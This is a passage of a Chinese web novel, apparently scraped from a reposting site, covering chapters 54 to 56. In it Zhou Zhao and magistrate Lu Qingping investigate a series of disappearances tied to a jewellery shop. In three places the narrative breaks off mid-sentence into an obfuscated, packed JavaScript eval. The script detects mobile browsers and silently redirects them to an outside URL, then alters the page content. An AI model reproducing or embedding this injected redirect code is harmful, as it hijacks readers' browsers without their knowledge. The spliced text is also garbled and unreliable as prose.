县丞抬脚迈出门槛时,心里犯嘀咕:怪事......刚才明明有人在我耳边说话,怎么一眨眼就不见了...... 周昭极熟悉这里的地形构造,转身便从小门走了。给陆轻苹留下一封信,上写: 今日事杂,先走一步。下回时机到时,再与大人详谈。 又附一行小字: 大人心系百姓,万望保重贵体。 周昭从县衙出来,又绕了一大圈才回牵机营。等她回来天已擦黑,不知为何,总觉得哪里不对劲—— 太安静了。 静悄悄的,像是一个人都没有,连整日游荡的傀儡都不见踪影。 上官似乎也不在。 难道宫里又出什么事儿了?周昭正这么想着,穿过回廊,突然一声尖利的猫叫,夜空中一团白乎乎的东西笔直地朝她的脸砸过来! “暧!般般!” 周昭被这突然扑到怀里的白猫骇了一跳,后退两步站稳,白猫往她怀里胡乱蹭,周昭正要摸摸猫背,怀里一轻,猫耳朵被一只突然出现的手揪住,毫不留情地丢开了。 这猫刚才……似乎就是这样被人丢出来的。 她顺着那只手看去,渡舟应当是刚从宫里回来,身上沾着一股淡淡的乌木沉香。 他穿着件墨色暗纹长袍,几乎没有一根亮色丝线点缀其中,不知是不是这个缘故,渡舟的脸在月光底下显得有些阴沉沉的,但那双眼睛却仍然温和。 是的,温和。 周昭醒过来后,见到的渡舟便总是这幅温和的样子。这让她觉得不适应,并且……很奇怪。 从前的萧十六满身戒备,稍微一亲近便要竖起满身的刺。周昭少年时长了颗圣人心,萧十六越拒人于千里之外,她越想把他身上那层裹着坚冰的刺悉数融了,向长淮他们证明,萧十六那一身扎人的刺下面也存有善意。 想到此处,她暗骂道:“庙里念了几天经,名字里带了个明,还真当自己是光芒万丈的救世主了。” “……吓到你了吗?” 周昭本以为渡舟会问她去哪儿了,她都已经想好一番说辞,如何应对才能让渡舟不起怀疑,谁知对方只是如此轻描淡写一句,不禁愕然片刻,很快恢复自然,答道:“还好。” 白猫此时又迈着步子靠近,看上去很想跳到周昭怀里,但是又碍于渡舟的威慑,只好在原地兜着圈子打转儿,一边转圈一边喵喵叫,声音透着股可怜。 “般般,来,过来。”周昭蹲下招手,白猫终于得偿所愿,一个猛子扎进她怀里,寻了个舒服的姿势蹭蹭脑袋,顺便向渡舟投以挑衅的目光和猫叫。 要不是亲眼所见,知道这是猫,周昭简直要以为这猫成精了,心想这只猫倒是跟从前萧十六养的那只很像。 渡舟鄙夷道:“会装。” 说者无心,听者有意。 周昭一边顺着毛摸,一边漫不经心问道,“上官大人说宫里出事情啦,渡舟大人,你去见皇帝了吗?” “嗯,去了。” 周昭又道:“皇帝今年多大?长什么样子?能带我去看看吗?” 渡舟眯起眼睛,淡淡道:“皇帝有什么好看的。” 大宣皇帝八岁继位,刚满二十。 周昭只知道这个,她其实有点好奇,这位年轻的帝王是怎么看待渡舟和牵机营的。经由几个月前姜宅一事,小皇帝明显对牵机营起了忌惮,听说宫里各个哨卡都换了层血,这对周昭来说不算坏事。 不过宫里贵妃丢了,小皇帝又急不可耐找渡舟,还像个没断奶的孩子,倒是让周昭捉摸不透。 周昭没有停下手上动作,随口说道:“唔……也是,皇帝想必不会有你好看的。” 渡舟没有应声,但笼罩在阴影里的神情似乎起了微妙的变化,周昭暗暗想道:“原来渡舟这只大妖也喜欢听好听的话,这就简单很多了。” “……下来,回去睡觉。”渡舟伸手捉猫,般般张口便咬毫不留情,周昭抬眸道:“渡舟大人,你太凶啦!” 渡舟微笑道:“是吗?” 周昭假意思索片刻,摇头道:“我说得不对,有时候不凶的。” 渡舟却突然不依不饶,继续笑道:“比如呢?” 装傻子真麻烦! “嗯比如……陪我吃饭的时候,还有给我讲故事的时候。对了渡舟大人,你什么时候再给我讲故事呢?” 渡舟长久地注视着她,笑容从他脸上退去,一如既往地温和说道:“再等等。夜深了,回去休息吧。” 喵!! 般般被渡舟强行扒开,老老实实挂在渡舟臂弯了。渡舟一手举着猫走了两步,又回过头道:“快去吧,明日我陪你吃饭。你不是想知道宫里发生了什么事儿吗,明天我讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765055|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你听。” 渡舟走远了,周昭脸上的表情终于淡去,恢复了沉默的死寂。 翌日,渡舟果然信守承诺,将失踪案原委一字不拉地告诉周昭。 十日内一共失踪六十八人,男女老少皆有,身份地位各不相同,有的是在家中凭空消失,有的是外出再也没回来,有的更奇怪,在酒楼上个茅房的功夫人就不见了。 周昭一边听着,一边低着头用筷子拨弄碗中的米粒,心中却忍不住想: 鬼会吃饭,妖会办案,只有陆大人是个药罐。 正想着,渡舟目光扫过来,停下不再讲了,问道:“不合胃口?” “......啊?”周昭茫然抬头,回过神道,“说到哪里了?” 渡舟摇头道:“吃饭吧。” “哦,好。”周昭低下头继续把白饭往嘴里送,胡乱嚼了几口咽下,放下筷子道:“渡舟大人,最后一案是哪里?” 渡舟道:“皇宫,贵妃。” 周昭道:“案发期间,平均每日都有人失踪吗?” “是。” “贵妃前日失踪,昨天没有新的失踪案,今天也没有,很奇怪呢......” 渡舟微笑道:“是很奇怪。你觉得凶手是什么?” 反正不是人。 周昭摇头装傻:“想不出来。” 渡舟继续循循善诱:“这世上发生任何事情,都是有迹可循的。所以不管什么案子,都会留下痕迹。但这些失踪案,却没有任何可查的痕迹。” “是妖吗?还是恶鬼?” 渡舟将筷子在指尖转着玩儿,漫不经心道:“无论是妖还是鬼,这么短的时间内吃掉这么多人,也会留下痕迹。” “他们都被吃掉了吗?” 渡舟停下手上的动作,无所谓道:“我乱说的。” 渡舟一点儿没变。 紧跟着,周昭平静地发现自己内心竟也毫无波澜,像一片寸草不生的荒地,再也长不出当年舞剑惜花之情。 她又问:“怎么找到痕迹?” “再等等,快了。” 渡舟放下筷子,摸出一根骨箫转着玩儿。说来堂堂无相妖主的法器,骨箫昆仲,周昭只见渡舟用过两回。一回是被她带着挖坟刨尸,一回是渡舟试探她的剑术。 两次都是非正当用途,周昭从不曾见渡舟吹过,于是好奇多看了两眼,渡舟却冷不防递给她,好似邀请:“想看?” 周昭也不推辞,伸手去接。她上回见识过这骨箫的厉害,于是存了份忍痛的心思,不料这回握在手中却没有刺骨的痛感,只是有些微微的凉意,很快又变得温润似玉了。 渡舟解释道:“昆仲如果不喜一个人,就会冰冷刺骨不能触碰;反之,就会让自己慢慢适应对方的温度。譬如在我手中,昆仲就是冷的;而在你手中......” 渡舟突然伸出手握住骨箫另一端,拇指轻柔地摩挲两下,抬眸微笑道:“是温暖的。” 他的目光过于灼热,手中的骨箫突然间变得有点烫手,空气随之凝滞,周昭缓慢挪开视线,问道:“......昆仲,为什么叫这个名字?” 渡舟松开昆仲,眼神掠过一丝沉寂,随即漫不经心道:“瞎起的。” 说完,渡舟换了个姿势坐好,摊开左手,一张信封凭空落在他掌心。 “我们找的痕迹,来了。” 54. 查案 渡舟轻巧地拆开信封,一目十行看完,交给周昭。 信上详尽地记录了九洲城内这六十八个案子,相关时间地点人物,再往后看是一行小字,写着最新的勘察结论,尽管案件错综复杂看上去毫无头绪,还是让牵机营找到了共同之处: 这六十八人中,有半数以上曾经去过一家首饰铺,另外半数人虽没去过,但他们失踪前去的最后一个地方,如酒楼茶楼之类,都跟那家首饰铺有过生意往来。 难道是那家首饰铺子有问题? 周昭惊讶于牵机营办案效率之高,不过短短一日时间,竟能查探过六十八案,找到其中联系。看来牵机营力量之广遍布宣朝上下,并非坊间虚言。 周昭放下信纸,问道:“上面写,这家吴记宝斋是九洲城的老字号,每日流水不算小,而这些人从那儿买过的东西五花八门,看不出什么特别的。” 渡舟道:“还需要一点时间,不过,快了。” 又是快了。 但这回渡舟没有转着昆仲等消息,他站起身,对周昭说道:“我进宫一趟,在家等我。” “家”这个字眼过于敏感,甫一说出口,气氛突然变得有些微妙。 渡舟移开目光,在阳光底下,他那总是近乎苍白的皮肤也被染上一丝鲜活的人气。渡舟微微蹙眉,眯起眼睛,似乎不大喜欢这样明朗的好天气。 周昭问道:“渡舟大人,你总是这样亲力亲为吗?” 渡舟眉眼随之展开,答非所问道:“太无聊了。” 太无聊了,所以找点事情做。 不是因为想找什么贵妃,也不是因为想救什么人,纯粹是活的时间太长,人生太过无聊了。 作为一个早早死掉的人,前世今生加起来不过短短二十有六,周昭并不能足够理解渡舟这种感觉。 但可以想象。 等渡舟离开,仆从收拾完桌上的残羹剩饭,周昭溜出牵机营,捏了颗丹药,一口吞下去。 周昭轻车熟路来到衙门口,见萤木正跟着陆轻苹不知说些什么,情绪激动眉飞色舞,干得正起劲。 陆轻苹看见周昭,很聪明地屏退众人。周昭收回心思,开门见山:“陆大人,失踪案有眉目了?” 陆轻苹道:“案卷都被牵机营拿走了。” 虽是意料之中的事情,但这么被陆轻苹说出来,周昭很难假装看不到对方眼中不加掩饰的幽怨。 其实她昨天来找陆轻苹前,就知道案卷一定会被渡舟拿走,不光衙门的,已经上报刑部的也都会并案到牵机营处理。 渡舟要找贵妃不假,但贵妃也是失踪案的其中一个,并案是最好的选择。 周昭那时候请陆轻苹出来办案,就是跟渡舟打了个时间差,赶在牵机营来衙门之前,先把陆轻苹骗到衙门再说。 况且案卷被渡舟拿走也没什么不好,牵机营不是很快就锁定了吴记宝斋吗? 唯一不足的,是陆轻苹是个聪明人。 这样的聪明人昨天不清楚局势,又爱民如子,被周昭花言巧语骗来衙门坐镇,很快就能反应过来,这件案子只要上交牵机营,他这个衙门县令的作用其实可有可无。 而聪明人只会上一次当。 周昭面不改色道:“哦,那很不巧了。” 陆轻苹道:“这案子并不需要我,你如果想替贺大人做点事,不如投靠牵机营来得快些。” 周昭微笑道:“怎么,清廉一身的陆大人竟会说这种话?” 陆轻苹两眼一抬,目光锐利,没有回答她这咄咄相逼的问题,转而问道:“你找我,还有什么事情?” 周昭道:“我是来给陆大人送消息的。” “什么消息。” “失踪案的凶手。” “抓到了?” “不。”周昭将那张纸上看来的原原本本告诉陆轻苹,接着道:“……所以,吴记宝斋一定有问题。” 陆轻苹听完,反问道:“难道牵机营不会去查吴记?你告诉我这些,用处不大吧。” “当然有用,我希望陆大人赶在牵机营前面破案。” 陆轻苹挑眉道:“哦?你为什么觉得,我能赶在牵机营前面破案?” “因为我会帮你。”周昭压低声音道,“陆大人,你不觉得牵机营的手伸得太长了吗?如今大宣掌权的,到底是宫里那位,还是牵机营那位,陆大人想必比我更清楚。” 陆轻苹眉心微跳,看向周昭的眼神多了几分探究:“你是想借此案动摇小皇帝对牵机营的信任?” 周昭淡淡道:“我只是想让皇帝看到,除了牵机营之外还有其他人可以信任,譬如......” 她注视着陆轻苹,微笑道:“陆大人你。” “......”陆轻苹沉默良久,“这对你有什么好处?” 周昭道:“我帮陆大人破案,事成之后,希望陆大人也能帮我一个小忙。” “什么忙?” “一不杀人放火,二不有违道义,陆大人可以放心了吗?” 陆轻苹脸上的表情似乎因为周昭这句话变得生动起来,他没说同意也没说反对:“什么时候去唐家?” 果然是聪明人。 周昭微笑道:“现在就走,大人空否?” 唐家小姐是九洲城这起连环失踪案中第一人,案卷记载:唐灵儿半月前从吴记宝斋买回一只玉佩,过了五日,唐灵儿便失踪了。 据唐家人描述,最后一次见到唐灵儿是在她的闺房,丫鬟们服侍她就寝后便退下了。 第二日清晨,却见唐灵儿许久不起身,以为贪睡便没敢进门去叫,谁知到了午时还不见起,推门才发现里面早空无一人。 周昭跟随陆轻苹到了唐家,立时有人迎上来询问是不是唐灵儿找到了。 唐府虽然没有姜宅排场阔气,也算家底殷实。唐家只有唐灵儿这么一位待字闺中的小姐,十分受宠,从她过午不起,却没人敢进屋去叫就可见一斑了。 “……还没有,我们是来查案的,劳烦带路。” 陆轻苹这张新任县令的脸认识的并不多,但听说是衙门来查案的,唐家人立刻十分恭敬,一边走一边说道:“唉,我家小姐也是倒霉,好事遇不上,坏事接二连三。” 周昭竖起耳朵听,正要问话,从里屋冲出来一人,身法之快,比般般有过之而不及,一眨眼的功夫就飞奔到他们面前,抓住陆轻苹急切道:“大人,灵儿找到了?” 来人双眼遍布血丝,头发乱蓬蓬的,发冠歪倒在一边,比陆轻苹这位病人还要形容憔悴几分。 周昭心道:“哦,原来是他啊。” 此人便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773487|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那日在无相城中他们遇到的那位,周昭记得好像是叫唐稽。 这却是件凑巧事儿了,几个月前唐稽被马货郎抓去无相城险些卖掉,如今唐灵儿又失踪了,唐家还真是风水不好。 唐稽自然是认不出周昭的,却认识县令陆轻苹,目光如炬,恨不得陆轻苹立刻吐出一个“是”字才好。 “稽儿,不得放肆!”一个略显老态的声音传来,走近对陆轻苹行礼道:“县令大人,怎么亲自前来了?府上招待不周,还望见谅。” 又回头对唐稽低声呵斥:“还不放开县令大人!” 唐稽这才恍恍惚惚松开陆轻苹,叫道:“爹.....” 看来唐稽跟唐灵儿是兄妹,怪不得如此失态。妹子失踪这么多天,当哥哥的心急如焚,实属人之常情。 “无妨。”陆轻苹拍拍衣袖,整理好仪态,才慢条斯理道,“唐老爷,可否带我们去看看唐小姐的闺房。” “当然!当然可以。” 唐稽扶着唐老爷在前面走,周昭看着二人背影,恍惚间想到自己的父皇和三个哥哥。 不知走了多远,眼前的人影渐渐模糊重叠,唐稽回过头,却露出一张跟她极为相似的脸,唇角露出温柔的微笑,启唇道:“小昭,快跟上。” “皇儿,来父皇这里.....” “澈哥哥......父皇......” “你怎么了?”陆轻苹的声音将周昭拉回现实,她眨眨眼睛,所有人都消失在艳阳天里,取而代之的是陆轻苹那张稍显疑惑的脸。 周昭深深地吐出一口气,摇头道:“没什么。” “我们到了。” 周昭环视一圈,据唐家人说,唐灵儿的卧室自从她失踪后就没有再动过,一切摆设布局照旧。 房间不算小,窗户是紧闭着的,没有被强行撬动的痕迹。 周昭走到梳妆台前,上面是些女儿家梳妆打扮常用之物,香粉青黛,口脂金钗,种类不可谓不齐全。 周昭问道:“令爱半月前在吴记宝斋买的那枚玉佩,可否拿来看看?” 唐稽疑惑道:“什么玉佩?” 一旁侍候的丫鬟走近,打开梳妆匣,熟门熟路地从中取出一块玉佩,问道:“大人,你说的是这块吗?” 她交给周昭,又道:“今日早些时候,有几位大人也说是来查案的,还叫我去问话了,也说要看看这块玉佩呢。” “我怎么不知道......”唐稽欲言又止,丫鬟小声道:“少爷那会子不在家,不是你说要出门找小姐嘛......” 周昭将玉佩举起细细观看,这是块质地极好的羊脂白玉,颜色干净没有一丝杂质,应当价值不菲。 但除此之外,这确实是个普普通通的玉佩,没有任何古怪,否则牵机营不会看过之后还留在唐家。 不,也不能说完全没有古怪—— 这是块男子佩戴的玉石。 陆轻苹问道:“你家小姐可有婚配?” 周昭自觉陆轻苹这个问题问得不算逾矩,但他甫一说出口,在场所有人的表情突然间变得十分古怪。特别是唐老爷,面色一阵青一阵红,十分精彩,支吾道:“啊这个......算是有。” 有就是有,没有就是没有。 算是有,是怎么回事儿? 55. 查案2 一问才知,唐老爷确实没说谎,唐灵儿的婚配确实.....算是有。 唐灵儿是唐老爷的亲生女儿不错,但唐稽却不是唐家正儿八经的少爷,而是唐老爷的养子。 唐夫人早年一直无所出,唐老爷爱妻如命,一直没有纳妾。但二人上了年纪,羡慕别人儿孙满堂,恰好听说九洲城寺庙里收养了许多孤儿,于是唐老爷便从山上抱下来一个婴儿,这便是唐稽了。 许是上苍感念唐老爷心善,又过了五年,唐夫人一直没有动静的肚子竟然显怀了。 唐老爷老来得女,宠爱之心可想而知。虽然一个是亲生的,一个是抱来的,但唐老爷却一视同仁,拿唐稽当亲儿子般养育长大。 但这其中不知出现了什么偏差,唐灵儿又如何得知唐稽不是自己的亲哥哥暂且不谈,反正出现了一件足以令唐老爷脸面丢到九霄云外的事情——唐灵儿喜欢上了自己的哥哥。 就算唐老爷再如何宠爱幼女,也不可能让这等□□之事发生,气得大病一场,之后为唐灵儿定下一门亲事。唐灵儿自然不愿,又哭又闹,以为一向在家中要风得风要雨得雨的自己,这一回肯定也能让父亲回心转意。 但唐灵儿没等来唐老爷改口,人却失踪了。 唐老爷后悔莫及,又派人退婚,所以“算是有”三个字不算是假。 亲女儿喜欢上养子,怪不得唐老爷脸色如此精彩。 周昭摩挲着手中玉佩,问道:“所以这块玉佩,是你家小姐买来,送给你家少爷的?” 这话怎么如此别扭...... 唐老爷脸色愈发难看,周昭假装看不见,那小婢女一五一十回答道:“我也不清楚,这块玉佩买回来就一直放在梳妆匣里。小姐每天晚上都会拿出来看好一会儿,看完再放回去,没说要送给别人呢。” 陆轻苹问道:“唐灵儿失踪前一天,也看这块玉佩了吗?” 小婢女像是努力回忆了一会儿,道:“好像看了。” 周昭道:“你不是说你家小姐每晚都会看吗?那一晚有什么不同吗?” 小婢女眼神躲闪,回答道:“......也没有什么不同。” 这回轮到唐稽着急了,言辞恳切,问道:“小桃,都这时候了,你还有什么事儿瞒着我们!灵儿那天晚上到底怎么了!” “我......我不知道......”对方被逼问得眼泛泪花,翻来覆去都是三个字——不知道。 “我知道,我来说。” 几只眼睛同时看过来,周昭不慌不忙走到窗前:“唐老爷,斗胆问一句,令爱跟您吵架时,您是否将她关在这间屋子里,还把门窗钉死,我猜还说了什么……想不清楚不会放你出来之类的狠话,是吗?” 唐老爷半是尴尬半是后悔,长长地叹了口气:“冤孽啊!” 周昭再问那婢女:“我猜,你家小姐天天以泪洗面,多半说了很多不想成婚、让你帮她逃出去云云,是吗?” 婢女低头不答,周昭继续道:“你们主仆情深,一拍即合,商量好了要逃婚。唐灵儿失踪前一晚不仅将那玉佩拿出来看了,而且看了很久,因为第二日就是你们约定唐灵儿偷偷逃出唐府的日子。” “到了第二日,最先发现唐灵儿失踪的人是你,你虽然心有疑惑,为何你家小姐出逃如此顺利,甚至你都还没来得及准备好,唐灵儿就不见了,但你却真心替唐灵儿高兴她终于得偿所愿,不用嫁给自己不喜欢的人。” 唐稽最先忍不住,抢道:“小桃!果真如此?” “我......”小桃慌乱之中扑通一声跪下,痛哭道,“少爷!老爷!你们就别再找小姐了!别再逼她了!” 事情到这里已经再明显不过,唐老爷指着小桃连连说道:“你、你!”半天却吐不出一个完整的字来,叹息道:“唉!小桃你糊涂啊!” “灵儿呢?小桃,告诉我!灵儿到底在哪儿?” 周昭道:“唐公子冷静,你问不出来的。” 唐稽转而看她,双目圆睁,模样竟透出几分可怜。周昭指了指钉死的窗户,蹙眉道:“还不明显吗?这窗户根本没有被打开过。小桃,你以为你家小姐逃出生天,因此这么多天闭口不谈。但你想过没有,有没有可能你家小姐根本没有出过这间屋子,而是跟城中其他人一样,悄无声息地失踪了。” 小桃终于不再哭了,却当场脸色煞白,喃喃道:“我以为……我......难道是我害了小姐?” 周昭弯下腰,轻轻拍了拍小桃的肩膀:“小桃,不是你害了她。但我需要你告诉我们,你跟你家小姐到底是怎么谋划的?” 小桃终于道:“......小姐失踪前一晚,我们说好等我偷来钥匙,会在晚饭时找机会交给小姐。” 陆轻苹问道:“你给她了吗?” 小桃哽咽道:“给了呀。晚饭时我偷偷把钥匙交给小姐,所以第二天我以为小姐已经、已经走了......” 唐稽打断道:“小桃啊小桃,平时怎么没见你这么蠢?!那锁是从里面开的,难道灵儿还能翻出窗户再锁上吗?” “唐公子别再吓她了,反正她说不说这件事影响也不大。”周昭继续问道,“小桃,你再好好想想,你把钥匙交给你家小姐时,她什么反应?” “......”小桃止住抽泣,回忆道:“小姐看上去,很高兴?好像也没有那么高兴......我的意思是,之前小姐很想出去的,但是那晚我将钥匙交给小姐,她却没有从前想出去时那么高兴了......” “好,我知道了。” 唐稽追问道:“大人,有决断了?” 周昭双手一摊:“暂时没有,不过......” 快了。 这两个字周昭没有说,因为上辈子她学会了一个道理:不要轻易许诺,特别是一个好的承诺。 周昭跟陆轻苹离开唐家后,陆轻苹看她的眼神似乎有所转变,周昭很是欣慰,问道:“陆大人有话要说?” “刚才我们一进唐家,所有人都面带愁容,只有一人从容不迫,那是因为她笃定,或者说自以为唐灵儿还活着,此为疑点一。小姐的卧房,却门窗紧闭甚至层层落锁。此为疑点二。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785235|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅凭这两点微不足道的线索,就能套出这么多话来......”陆轻苹停顿片刻,驻足问道:“你到底是什么人?” 周昭微笑道:“这对陆大人来说,很重要吗?” “......”陆轻苹愣了片刻,才道,“不重要。” “刚才那些不过是唐家的家事,就算问出来也没多大用处,陆大人觉得呢?” 陆轻苹不置可否,想必也觉得周昭所言有道理。 本来唐灵儿一案衙门就是按失踪案来办理的,刚才不过坐实了唐灵儿确实是失踪,而不是逃跑,但也不能算没有收获。刚才没有跟唐稽许诺,是因为周昭还需要几个案子来验证自己的结论。 “下一步去哪儿?” 周昭道:“陆大人问我?” 陆轻苹:“乔家,乔聪。” 乔家是当地一家当铺,也是除开那三十多个直接从吴记宝斋买过物品的人中,唯一一个被动接了吴记宝斋东西的案子。 七日前,乔家当铺的老板乔聪无意间收到了一支堪称华丽的金步摇:形似鹿角上缀金叶,雍容华贵至极。据小二回忆,乔聪收到这支步摇时欣喜若狂,神态如痴如醉,几乎每天都要将这支步摇拿在手中把玩。 谁知过了短短三天,乔聪却突然失踪了。 跟唐灵儿一案不同,随着乔聪的失踪,那只金步摇也从此不见了。 到了乔家当铺,不知是不是乔聪失踪的缘故,那里门庭冷落,只有一个店小二两眼无神精神不济地在看店。 店面贴着张寻人告示,上面是乔聪的画像,显然已经贴了有几天了。 见到周昭二人,店小二略微抬了抬眼皮,手一伸,百无聊赖问道:“典当?东西拿来看看。” 陆轻苹道:“衙门查案。” 店小二先是一个激灵,再是将陆轻苹上下打量一番,见他衣着朴素想来不是什么官儿,语气不耐烦道:“上午不是刚来看过吗?真晦气。” 有意思,牵机营总是快一步。 “这回是要查什么?”店小二把店门口挂着的木牌翻面扣下,揉揉眼睛道,“进来吧。” “上午他们查什么,我们就查什么?” “哎我说你们这些当差的......”店小二终于正眼看向周昭,正要发难,陆轻苹掏出腰牌,对方定睛一看,立刻满面笑容:“哟!原来是县令大人,请进请进!” “县令大人,您大驾光临,是要查什么?小店地方不大,所有东西都在这儿了。至于我家老爷失踪那天的事儿,小人确实——” 陆轻苹打断道:“没听见他说的吗?上午查什么,现在就查什么。” 店小二应道:“明白,小人明白。” 他从怀里掏出一串钥匙,边掏边说道:“上午那些当差的老爷们可不像您二位这么面善呐,都带着刀呢!他们在外间看了一圈儿,又要看里面这间,钥匙是哪个来着......哎好,打开了,您二位大人请进。” 周昭本以为店小二领他们进来的这间屋子是当铺的库房,可进门一看,才发现好像并不是这么回事儿。 56. 推测 是库房不错。但更像一间......更衣室? 寻常当铺库房光线一般不大好,很多古物需要避光,点灯又怕引起火灾。但这间库房却十分明亮,亮光不来源于室外或者烛火,而是墙壁上镶嵌着很多夜明珠。 一颗夜明珠就是普通家庭负担不起的价钱,此间却用于照亮,看来乔聪不光有钱,而且非常之有钱。 而周昭之所以说这里像更衣室,是因为在靠近墙壁的地方放置着一个巨大的屏风。 屏风之后,挂满了花花绿绿五颜六色的衣裙。 周昭猜测,本来这扇屏风应该是刚好能把后面的东西遮住,应该是早上牵机营到过这里,伙计把屏风挪开还没来得及挪回去,所以他们一进门,首先映入眼帘的,就是那几乎满满一墙的衣服。 陆轻苹惊讶之余,忍不住道:“......这不都是女人的衣服吗?” 伙计老练道:“是女人的衣服,大人你也知道,当铺嘛,乱七八糟什么都有。” 周昭走到屏风后,将那些衣裙一件件翻看过,无不做工精巧华丽非常,她微笑道:“的确,当铺有衣服没什么奇怪的。” “看,这位大人说得在理。” 虽然收衣服的当铺少,但也不能说没有。周昭转了一圈儿,问道:“那支金步摇......” 伙计摆手道:“不见啦!” 周昭道:“我知道,我是想问你们店里,有没有类似的款式?” 伙计被问住片刻,纳闷地应道:“哦,有的有的,大人您随我来。” 到了柜面一看,确实有不少好东西。除了步摇,还有金钗银镯,珍珠璎珞等,无不色泽明艳,楚楚动人。 伙计挑来选去,拿出一支金步摇来,交给周昭:“大人您看,这支步摇也很贵重。” 主体是一根金簪,簪身刻着缠枝花纹,簪头镶嵌牡丹,花瓣层层叠叠,其下缀满玉石。周昭捏在手中欣赏片刻,还给伙计:“确实是好东西。” “当然好了,这可是我家老爷之前最喜欢的步摇了。”伙计收下步摇,又小心翼翼地放回原处,周昭漫不经心道:“哦?你家老爷最喜欢这支步摇?你不是说,乔老爷最喜欢那支从吴记收来的金步摇吗?” “嗐!在没有吴记那支步摇之前,老爷最喜欢的可是这支,经常拿帕子擦了又擦,可小心着呢!不过要我说,还是这支宝贵些,价钱也更好。” 周昭微笑道:“你家老爷除了步摇,还喜欢别的什么吗?” 伙计侃侃而谈:“我家老爷喜欢的东西多,而且跟别的当铺老板不一样,他喜欢的东西不看价格,看眼缘。比如这个镯子,还有这个耳坠,还有这个......” 伙计一口气指了七八样东西,周昭心中了然,又问道:“里面那间屋子,你家老爷平时常去吗?” 伙计不假思索道:“常去,库房里面好多值钱的宝贝,老爷每日都要进去一两回,生怕东西长腿跑了似的......” 伙计说完习惯性缩了缩脖子,想到乔聪不在,听不到他这句,才放心继续道:“就连这库房钥匙,也是老爷失踪后,老夫人才交给我的。” 陆轻苹问道:“库房钥匙为什么在老夫人手上?” 伙计答:“库房钥匙一共两把,一把老爷随身带着,另一把就在老夫人手里。但自从老爷失踪,老夫人伤心过度,不能料理店里的事情,于是把钥匙暂且交给我。” 周昭问道:“你家老爷没有娶亲?” “几年前娶过一房,后来不知怎的那女人跑啦,就没再娶。” “你家老夫人不催着再娶?” “从前也催,老爷应该是被伤透了心,反正没那个意思,老夫人就不催了。” 他们来乔家当铺时太阳已经快落山,此刻出来天已经完全黑了。乔家当铺地处城中心,此刻九洲城还是一如既往的热闹,万家灯火明明灭灭,竟比头顶星空还要夺目几分。 周昭缓步而行,陆轻苹亦放慢脚步,二人都没有再继续查下一家的意思。 沉默片刻,陆轻苹问道:“你怎么看?” 周昭沉吟道:“我在想,乔夫人为什么要跑?” 陆轻苹一反常态,语气刻薄道:“虽然乔聪有钱,也不见得能留住人心吧。” 周昭摇摇头:“不,跟有没有钱无关。世人以女子名节为重,哪怕嫁做人妇,这一点也不会变。虽然这么说很残忍,但现实就是这样。然而乔夫人宁愿背负逃婚这样的骂名,也要从乔聪身边离开,你不觉得很奇怪吗?正常来说,就算过不下去了,也应该先拿到和离书才对。否则按大宣朝律法,她永远都是乔聪的妻子。” 陆轻苹道:“......也许乔聪不愿意跟她和离。” “与其说乔聪不愿意,不如说是乔老夫人不愿意。因为如果这一个走了,乔聪很难再找到下一个愿意跟他成婚的人。” 陆轻苹接着说道:“因为乔聪,有一个不可告人的秘密。” 周昭只微笑道:“陆大人很聪明。” 陆轻苹直言道:“你不必一步步引导我,有什么结论可以直接说,我不会觉得没面子。” 陆轻苹这个人,真没劲。 周昭偏不如他心意,装傻道:“陆大人有结论了?说说看。” 陆轻苹斜看她一眼,淡淡道:“方才在乔家库房,你将每件衣服都细细看过一遍。我本来不懂女子服饰,但等我凑近看时,就算再蠢笨,也明白了有哪里不对。乔家开的是当铺,挂这么多女子穿的衣服也能说得过去,但这些衣服有个特点,都太新了。不仅新,而且上面一点儿多余的味道都没有。换句话说,这些本该由女子送来当铺的衣服,都是没有被穿过的。” “九洲城的女子皆爱打扮,香粉香膏甚为流行,如果是穿过的衣服难免沾染香味。一件没有,两件没有都情有可原,但绝对不可能所有衣服都没有香粉味。此为疑点一。” 观察细致入微,可圈可点。 周昭点头道:“不愧是陆大人。” 陆轻苹皱眉,似乎想说什么又极力克制,半晌才吐出一句话:“该你说了。” 周昭道:“乔家当铺不算小,库房两把钥匙,伙计却在这之前从来没碰过,说明乔聪每日都是独自进入库房。一种可能是乔聪并不信任店里的伙计,另一种可能,库房里存在一个乔聪不愿让别人发现的秘密。但你我刚才进去看过,伙计也进去看过,所以这个秘密只能在乔聪身上。此为疑点二。” 陆轻苹接着道:“库房内墙壁上镶着许多夜明珠,但靠近最里面墙壁的夜明珠最多,也是最先镶嵌上去的,反而到了库房正中央却没有几个,如果说为了照明观宝,显然位置不对。” 